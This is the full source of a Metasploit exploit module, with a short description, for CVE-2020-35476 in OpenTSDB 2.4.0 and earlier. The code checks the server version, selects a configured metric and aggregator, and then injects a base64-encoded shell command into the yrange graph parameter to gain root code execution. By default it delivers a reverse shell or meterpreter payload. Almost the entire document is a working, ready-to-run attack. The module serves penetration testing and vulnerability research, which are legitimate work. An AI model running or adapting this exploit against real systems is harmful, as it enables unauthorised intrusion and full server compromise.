This Metasploit module exploits an unauthenticated command injection vulnerability in the yrange parameter in OpenTSDB through 2.4.0 (CVE-2020-35476) in order to achieve unauthenticated remote code execution as the root user. The module first attempts to obtain the OpenTSDB version via the api. If the version is 2.4.0 or lower, the module performs additional checks to obtain the configured metrics and aggregators. It then randomly selects one metric and one aggregator and uses those to instruct the target server to plot a graph. As part of this request, the yrange parameter is set to the payload, which will then be executed by the target if the latter is vulnerable. This module has been successfully tested against OpenTSDB version 2.3.0.
advisories | CVE-2020-35476
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenTSDB 2.4.0 unauthenticated command injection',
'Description' => %q{
This module exploits an unauthenticated command injection
vulnerability in the yrange parameter in OpenTSDB through
2.4.0 (CVE-2020-35476) in order to achieve unauthenticated
remote code execution as the root user.
The module first attempts to obtain the OpenTSDB version via
the api. If the version is 2.4.0 or lower, the module
performs additional checks to obtain the configured metrics
and aggregators. It then randomly selects one metric and one
aggregator and uses those to instruct the target server to
plot a graph. As part of this request, the yrange parameter is
set to the payload, which will then be executed by the target
if the latter is vulnerable.
This module has been successfully tested against OpenTSDB
version 2.3.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Shai rod', # @nightrang3r - discovery and PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2020-35476'],
['URL', 'https://github.com/OpenTSDB/opentsdb/issues/2051'] # disclosure and PoC
],
'DefaultOptions' => {
'RPORT' => 4242
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %w[bourne curl wget],
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_memory
}
],
[
'Automatic (Linux Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-11-18',
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),
]
end
def check
# sanity check to see if the target is likely OpenTSDB
res1 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
unless res1
return CheckCode::Unknown('Connection failed.')
end
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')
return CheckCode::Safe('Target is not an OpenTSDB application.')
end
# get the version via the api
res2 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'version')
})
unless res2
return CheckCode::Unknown('Connection failed.')
end
unless res2.code == 200 && res2.body.include?('version')
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')
end
begin
parsed_res_body = JSON.parse(res2.body)
rescue JSON::ParserError
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
end
unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
end
version = parsed_res_body['version']
begin
if Rex::Version.new(version) <= Rex::Version.new('2.4.0')
return CheckCode::Appears("The target is OpenTSDB version #{version}")
else
return CheckCode::Safe("The target is OpenTSDB version #{version}")
end
rescue ArgumentError => e
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")
end
end
def select_metric
# check if any metrics have been configured. if not, exploitation cannot work
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'suggest'),
'vars_get' => { 'type' => 'metrics' }
})
unless res
fail_with(Failure::Unknown, 'Connection failed.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")
end
begin
metrics = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')
end
unless metrics.is_a?(Array)
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')
end
if metrics.empty?
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')
end
# select a random metric since any will do
@metric = metrics.sample
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")
end
def select_aggregator
# check the configured aggregators and select one at random
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'aggregators')
})
unless res
fail_with(Failure::Unknown, 'Connection failed.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")
end
begin
aggregators = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')
end
unless aggregators.is_a?(Array)
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')
end
if aggregators.empty?
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')
end
# select a random aggregator since any will do
@aggregator = aggregators.sample
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")
end
def execute_command(cmd, _opts = {})
# use base64 to avoid special char escape hell (specifying BadChars did not help)
cmd = "'echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/sh'"
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')
get_vars = {
'start' => start_value,
'end' => end_value,
'm' => "#{@aggregator}:#{@metric}",
'yrange' => "[1:system(#{Rex::Text.uri_encode(cmd)})]",
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",
'style' => 'linespoint'
}
exploit_uri = '?'
get_vars.each do |key, value|
exploit_uri += "#{key}=#{value}&"
end
exploit_uri += 'json'
# using a raw request because cgi was leading to encoding issues
send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)
}, 0) # we don't have to wait for a reply here
end
def exploit
select_metric
select_aggregator
if target.arch.first == ARCH_CMD
print_status('Executing the payload')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end
